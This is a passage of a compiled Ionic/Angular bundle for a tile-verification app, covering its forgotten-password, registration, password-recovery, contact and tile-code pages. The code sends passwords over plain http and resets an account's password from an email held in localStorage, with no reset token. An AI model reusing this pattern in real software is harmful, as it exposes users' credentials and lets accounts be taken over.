/** * @nocollapse */ Ionic2MaskDirective.ctorParameters = function () { return [ { type: NgControl, }, ]; }; Ionic2MaskDirective.propDecorators = { 'mask': [{ type: Input },], 'ngOnChanges': [{ type: HostListener, args: ['change',] },], 'onKeyUp': [{ type: HostListener, args: ['keyup', ['$event'],] },], }; /** * Generated bundle index. Do not edit. */ export { Ionic2MaskDirective }; //# sourceMappingURL=ionic2-mask-directive.es5.js.map ``` main.js ```webpackJsonp([0],{ /***/ 160: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return ForgetPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__core_auth_service__ = __webpack_require__(48); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__login_login__ = __webpack_require__(46); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__recover_recover__ = __webpack_require__(355); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_7_rxjs_add_operator_map__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; //import { Router } from '@angular/router'; /** * Generated class for the ForgetPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var ForgetPage = (function () { function ForgetPage(navCtrl, authService, formBuilder, alertCtrl, http, loading) { this.navCtrl = navCtrl; this.authService = authService; this.formBuilder = formBuilder; this.alertCtrl = alertCtrl; this.http = http; this.loading = loading; this.errorMessage = ''; this.successMessage = ''; } ForgetPage.prototype.ionViewWillLoad = function () { this.forgetForm = this.formBuilder.group({ username: new __WEBPACK_IMPORTED_MODULE_2__angular_forms__["b" /* FormControl */]() }); }; ForgetPage.prototype.goLoginPage = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_4__login_login__["a" /* LoginPage */]); }; ForgetPage.prototype.signIn = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.username.value == "") { var alert_1 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Please enter your email address", buttons: ['OK'] }); alert_1.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_6__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_6__angular_http__["d" /* RequestOptions */]({ headers: headers }); //username: this.username.value; var data_1 = { username: this.username.value, }; var info_1 = this.username.value; var loader_1 = this.loading.create({ content: 'Processing please wait...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/forget.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { //console.log(data) loader_1.dismiss(); if (res == "Your Login success") { var alert_2 = _this.alertCtrl.create({ title: "Password Reset", subTitle: "If the email address you entered is registered to an account, you will receive an email with instructions on how to reset your password", buttons: ['OK'] }); //alert.present(); //this.navCtrl.push(RecoverPage, //{firstName: this.data} //); var page1Data = info_1; localStorage.setItem('recoverData', page1Data); _this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__recover_recover__["a" /* RecoverPage */], info_1); //this.router.navigate([RecoverPage, data]); } else { var alert_3 = _this.alertCtrl.create({ title: "ERROR", subTitle: "Your Email Address doesn't exist in our database!", buttons: ['OK'] }); alert_3.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("username"), __metadata("design:type", Object) ], ForgetPage.prototype, "username", void 0); ForgetPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-forget',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/forget/forget.html"*/'<ion-header>\n <ion-navbar>\n <ion-title>Forget Password</ion-title>\n </ion-navbar>\n</ion-header>\n\n<ion-content padding class="master-class">\n <ion-list no-lines>\n\n <ion-item>\n <ion-input round type="text" placeholder="Your Email address" name="username" #username></ion-input>\n </ion-item>\n <button ion-button full type="submit" class="loginBtn submit-button" (click)="signIn()">Reset Password</button>\n <label class="error-message">{{errorMessage}}</label>\n <label class="success-message">{{successMessage}}</label>\n \n\n <br>\n <div>\n <p class="text-color">Already have an account? <a (click)="goLoginPage()">Try to Log in</a></p>\n </div>\n <br>\n </ion-list>\n </ion-content>\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/forget/forget.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_3__core_auth_service__["a" /* AuthService */], __WEBPACK_IMPORTED_MODULE_2__angular_forms__["a" /* FormBuilder */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_6__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], ForgetPage); return ForgetPage; }()); //# sourceMappingURL=forget.js.map /***/ }), /***/ 171: /***/ (function(module, exports) { function webpackEmptyAsyncContext(req) { // Here Promise.resolve().then() is used instead of new Promise() to prevent // uncatched exception popping up in devtools return Promise.resolve().then(function() { throw new Error("Cannot find module '" + req + "'."); }); } webpackEmptyAsyncContext.keys = function() { return []; }; webpackEmptyAsyncContext.resolve = webpackEmptyAsyncContext; module.exports = webpackEmptyAsyncContext; webpackEmptyAsyncContext.id = 171; /***/ }), /***/ 216: /***/ (function(module, exports) { function webpackEmptyAsyncContext(req) { // Here Promise.resolve().then() is used instead of new Promise() to prevent // uncatched exception popping up in devtools return Promise.resolve().then(function() { throw new Error("Cannot find module '" + req + "'."); }); } webpackEmptyAsyncContext.keys = function() { return []; }; webpackEmptyAsyncContext.resolve = webpackEmptyAsyncContext; module.exports = webpackEmptyAsyncContext; webpackEmptyAsyncContext.id = 216; /***/ }), /***/ 260: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return RegisterPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__core_auth_service__ = __webpack_require__(48); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__forget_forget__ = __webpack_require__(160); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__tabs_tabs__ = __webpack_require__(67); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7__login_login__ = __webpack_require__(46); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_8_rxjs_add_operator_map__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var RegisterPage = (function () { function RegisterPage(navCtrl, authService, formBuilder, alertCtrl, http, loading) { this.navCtrl = navCtrl; this.authService = authService; this.formBuilder = formBuilder; this.alertCtrl = alertCtrl; this.http = http; this.loading = loading; this.errorMessage = ''; } RegisterPage_1 = RegisterPage; RegisterPage.prototype.ionViewWillLoad = function () { this.loginForm = this.formBuilder.group({ email: new __WEBPACK_IMPORTED_MODULE_2__angular_forms__["b" /* FormControl */](), password: new __WEBPACK_IMPORTED_MODULE_2__angular_forms__["b" /* FormControl */](), }); }; RegisterPage.prototype.tryLogin = function (value) { var _this = this; this.authService.doLogin(value) .then(function (res) { console.log(res); _this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_6__tabs_tabs__["a" /* TabsPage */]); }, function (err) { console.log(err); _this.errorMessage = err.message; }); }; RegisterPage.prototype.goLoginPage = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_7__login_login__["a" /* LoginPage */]); }; RegisterPage.prototype.goRegisterPage = function () { this.navCtrl.push(RegisterPage_1); }; RegisterPage.prototype.goForgetPage = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__forget_forget__["a" /* ForgetPage */]); }; RegisterPage.prototype.signUp = function () { this.navCtrl.push(RegisterPage_1); }; RegisterPage.prototype.signIn = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.fullname.value == "") { var alert_1 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Full Name field is empty", buttons: ['OK'] }); alert_1.present(); } else if (this.password.value == "") { var alert_2 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Password field is empty", buttons: ['OK'] }); alert_2.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_4__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_4__angular_http__["d" /* RequestOptions */]({ headers: headers }); var data_1 = { fullname: this.fullname.value, emailaddress: this.emailaddress.value, telephone: this.telephone.value, password: this.password.value }; var loader_1 = this.loading.create({ content: 'Processing please wait...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/registration.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { console.log(res); loader_1.dismiss(); if (res == "Your Login success") { var alert_3 = _this.alertCtrl.create({ title: "Your Account has been created", buttons: ['OK'] }); alert_3.present(); _this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_7__login_login__["a" /* LoginPage */], data_1); } else { var alert_4 = _this.alertCtrl.create({ title: "ERROR", subTitle: "Sorry, Service is not available. Try Later!", buttons: ['OK'] }); alert_4.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("fullname"), __metadata("design:type", Object) ], RegisterPage.prototype, "fullname", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("password"), __metadata("design:type", Object) ], RegisterPage.prototype, "password", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("emailaddress"), __metadata("design:type", Object) ], RegisterPage.prototype, "emailaddress", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("fulladdress"), __metadata("design:type", Object) ], RegisterPage.prototype, "fulladdress", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("telephone"), __metadata("design:type", Object) ], RegisterPage.prototype, "telephone", void 0); RegisterPage = RegisterPage_1 = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-register',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/register/register.html"*/'<ion-header>\n <ion-navbar>\n <ion-title>Register</ion-title>\n </ion-navbar>\n</ion-header>\n\n<ion-content padding class="master-class">\n <ion-list no-lines>\n <ion-item>\n <ion-input round type="text" placeholder="Full Name" name="fullname" #fullname></ion-input>\n </ion-item>\n <ion-item>\n <ion-input round type="text" placeholder="Email address" name="email" #emailaddress></ion-input>\n </ion-item>\n <ion-item>\n <ion-input round type="password" placeholder="Password" name="password" #password ></ion-input>\n </ion-item>\n <ion-item>\n <ion-input type="password" placeholder="Confirm Password" name="confirmpassword" #confirmpassword ></ion-input>\n </ion-item>\n <ion-item>\n <ion-input round type="number" placeholder="Phone Number" name="telephone" #telephone></ion-input>\n </ion-item>\n\n <button ion-button full class="loginBtn submit-button" type="submit" (click)="signIn()">Register</button>\n \n <br>\n <div>\n <p class="text-color">Already have an account? <a (click)="goLoginPage()">Try to Log in</a></p>\n </div>\n <br>\n </ion-list>\n</ion-content>\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/register/register.html"*/ }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_3__core_auth_service__["a" /* AuthService */], __WEBPACK_IMPORTED_MODULE_2__angular_forms__["a" /* FormBuilder */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_4__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], RegisterPage); return RegisterPage; var RegisterPage_1; }()); //# sourceMappingURL=register.js.map /***/ }), /***/ 355: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return RecoverPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_4_rxjs_add_operator_map__); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__login_login__ = __webpack_require__(46); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; /** * Generated class for the ProfilePage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var RecoverPage = (function () { function RecoverPage(navCtrl, alertCtrl, navParams, http, loading) { this.navCtrl = navCtrl; this.alertCtrl = alertCtrl; this.navParams = navParams; this.http = http; this.loading = loading; this.data = {}; } RecoverPage.prototype.ionViewWillLoad = function () { var _this = this; var headers = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["d" /* RequestOptions */]({ headers: headers }); //var link = this.baseURI + "manage-data.php"; var body = JSON.stringify({ testname: localStorage.getItem('recoverData') }); //alert("DATA: "+body); this.http.post('http://rooftg-afme.com/fetch_data.php', body, options) .map(function (res) { return res.json(); }) .subscribe(function (res) { _this.items = res.server_response; //console.log("DATA received:", body); } //err => { //console.log("ERROR!: ", err); // alert(err); ); }; RecoverPage.prototype.goLoginPage = function () { this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__login_login__["a" /* LoginPage */]); }; RecoverPage.prototype.signIn = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.newpassword.value == "") { var alert_1 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Full Name field is empty", buttons: ['OK'] }); alert_1.present(); } else if (this.confirmpassword.value == "") { var alert_2 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Password field is empty", buttons: ['OK'] }); alert_2.present(); } else if (this.newpassword.value != this.confirmpassword.value) { var alert_3 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "New Passwords do not match", buttons: ['OK'] }); alert_3.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["d" /* RequestOptions */]({ headers: headers }); var data_1 = { email: localStorage.getItem('recoverData'), newpassword: this.newpassword.value, confirmpassword: this.confirmpassword.value, }; var loader_1 = this.loading.create({ content: 'Recovering details, please wait...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/pswrecover.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { console.log(res); loader_1.dismiss(); if (res == "Your Login success") { var alert_4 = _this.alertCtrl.create({ title: "Your Account has been updated", buttons: ['OK'] }); alert_4.present(); _this.account = window.localStorage.removeItem('recoverData'); _this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__login_login__["a" /* LoginPage */]); } else { var alert_5 = _this.alertCtrl.create({ title: "ERROR", subTitle: "Sorry, Service is not available. Try Later!", buttons: ['OK'] }); alert_5.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])('userForm'), __metadata("design:type", __WEBPACK_IMPORTED_MODULE_2__angular_forms__["f" /* NgForm */]) ], RecoverPage.prototype, "form", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("newpassword"), __metadata("design:type", Object) ], RecoverPage.prototype, "newpassword", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("confirmpassword"), __metadata("design:type", Object) ], RecoverPage.prototype, "confirmpassword", void 0); RecoverPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-recover',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/recover/recover.html"*/'\n <ion-header>\n <ion-navbar hideBackButton="true">\n <ion-title>Update Password</ion-title>\n </ion-navbar>\n </ion-header>\n \n \n <ion-content padding class="master-class">\n <ion-list no-lines>\n \n <ion-item *ngFor="let item of items" >\n \n <ion-item>\n <ion-input round type="password" placeholder="Set New Password" name="currentpassword" #newpassword></ion-input>\n </ion-item >\n \n <ion-item>\n <ion-input round type="password" placeholder="Confirm New Password" name="confirmpassword" #confirmpassword></ion-input>\n </ion-item >\n \n \n </ion-item>\n <button ion-button full class="loginBtn submit-button" type="submit" (click)="signIn()">Update Password</button>\n <br>\n <div>\n <p class="text-color">Already have an account? <a (click)="goLoginPage()">Try to Log in</a></p>\n </div>\n <br>\n </ion-list>\n </ion-content>\n \n \n \n \n \n \n '/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/recover/recover.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["i" /* NavParams */], __WEBPACK_IMPORTED_MODULE_3__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], RecoverPage); return RecoverPage; }()); //# sourceMappingURL=recover.js.map /***/ }), /***/ 356: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return ContactPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__core_auth_service__ = __webpack_require__(48); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_5_rxjs_add_operator_map__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; /** * Generated class for the ContactPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var ContactPage = (function () { function ContactPage(navCtrl, authService, formBuilder, alertCtrl, http, loading) { this.navCtrl = navCtrl; this.authService = authService; this.formBuilder = formBuilder; this.alertCtrl = alertCtrl; this.http = http; this.loading = loading; this.errorMessage = ''; this.successMessage = ''; this.emailvalue = window.localStorage.getItem('storedData'); } ContactPage.prototype.signIn = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.enquiry.value == "") { var alert_1 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Please enter your enquiry", buttons: ['OK'] }); alert_1.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_4__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_4__angular_http__["d" /* RequestOptions */]({ headers: headers }); var data_1 = { email: this.email.value, enquiry: this.enquiry.value, }; var loader_1 = this.loading.create({ content: 'Sending enquiry...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/enquiry.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { console.log(res); loader_1.dismiss(); if (res == "Your Login success") { var alert_2 = _this.alertCtrl.create({ title: "Enquiry Sent", subTitle: "We have received your enquiry. Thank you", buttons: ['OK'] }); alert_2.present(); } else { var alert_3 = _this.alertCtrl.create({ title: "ERROR", subTitle: "Something happen wrong. We are fixing it.", buttons: ['OK'] }); alert_3.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("email"), __metadata("design:type", Object) ], ContactPage.prototype, "email", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("enquiry"), __metadata("design:type", Object) ], ContactPage.prototype, "enquiry", void 0); ContactPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-contact',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/contact/contact.html"*/'<ion-header>\n <ion-navbar>\n <ion-title>Contact Us</ion-title>\n </ion-navbar>\n </ion-header>\n \n <ion-content padding class="master-class">\n <ion-list no-lines>\n <ion-item>\n <ion-input round type="text" placeholder="Email address" name="email" value="{{emailvalue}}" #email disabled></ion-input>\n </ion-item>\n <ion-item>\n <ion-textarea round placeholder="Full Enquiry" rows="8" cols="10" name="enquiry" #enquiry></ion-textarea> \n </ion-item>\n <button ion-button full type="submit" class="loginBtn submit-button" (click)="signIn()"><ion-icon name="mail"></ion-icon>&nbsp;&nbsp;Send Enquiry</button>\n \n <a href="tel:+441582807363" ion-button full class="loginBtn call-button"><ion-icon name="keypad"></ion-icon>&nbsp;&nbsp;Call us</a>\n </ion-list>\n\n </ion-content>\n '/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/contact/contact.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_3__core_auth_service__["a" /* AuthService */], __WEBPACK_IMPORTED_MODULE_2__angular_forms__["a" /* FormBuilder */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_4__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], ContactPage); return ContactPage; }()); //# sourceMappingURL=contact.js.map /***/ }), /***/ 357: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return UserPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__core_user_service__ = __webpack_require__(358); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__core_auth_service__ = __webpack_require__(48); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__core_user_model__ = __webpack_require__(359); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_7_rxjs_add_operator_map__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var UserPage = (function () { function UserPage(navCtrl, userService, authService, formBuilder, alertCtrl, http, loading) { this.navCtrl = navCtrl; this.userService = userService; this.authService = authService; this.formBuilder = formBuilder; this.alertCtrl = alertCtrl; this.http = http; this.loading = loading; this.errorMessage = ''; this.successMessage = ''; this.user = new __WEBPACK_IMPORTED_MODULE_5__core_user_model__["a" /* FirebaseUserModel */](); } UserPage.prototype.ionViewWillLoad = function () { this.registerWarranty = this.formBuilder.group({ production: new __WEBPACK_IMPORTED_MODULE_3__angular_forms__["b" /* FormControl */]() }); }; UserPage.prototype.verify = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.username.value == "") { var alert_1 = this.alertCtrl.create({ title: "Enter your Production Code", buttons: ['OK'] }); alert_1.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_6__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_6__angular_http__["d" /* RequestOptions */]({ headers: headers }); var data_1 = { username: this.username.value }; var loader_1 = this.loading.create({ content: 'Checking code...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/verify.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { console.log(res); loader_1.dismiss(); if (res == "Your Code is invalid") { var alert_2 = _this.alertCtrl.create({ title: "Your Code is invalid", subTitle: "Please enter first 11 digits", buttons: ['OK'] }); alert_2.present(); } else { var alert_3 = _this.alertCtrl.create({ title: "Your Tile is 100% Genuine", subTitle: (res), buttons: ['OK'] }); alert_3.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("username"), __metadata("design:type", Object) ], UserPage.prototype, "username", void 0); UserPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-user',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/user/user.html"*/'<ion-header>\n <ion-navbar hideBackButton="true">\n <ion-title>Tile Verification</ion-title>\n </ion-navbar>\n</ion-header>\n<ion-content padding>\n 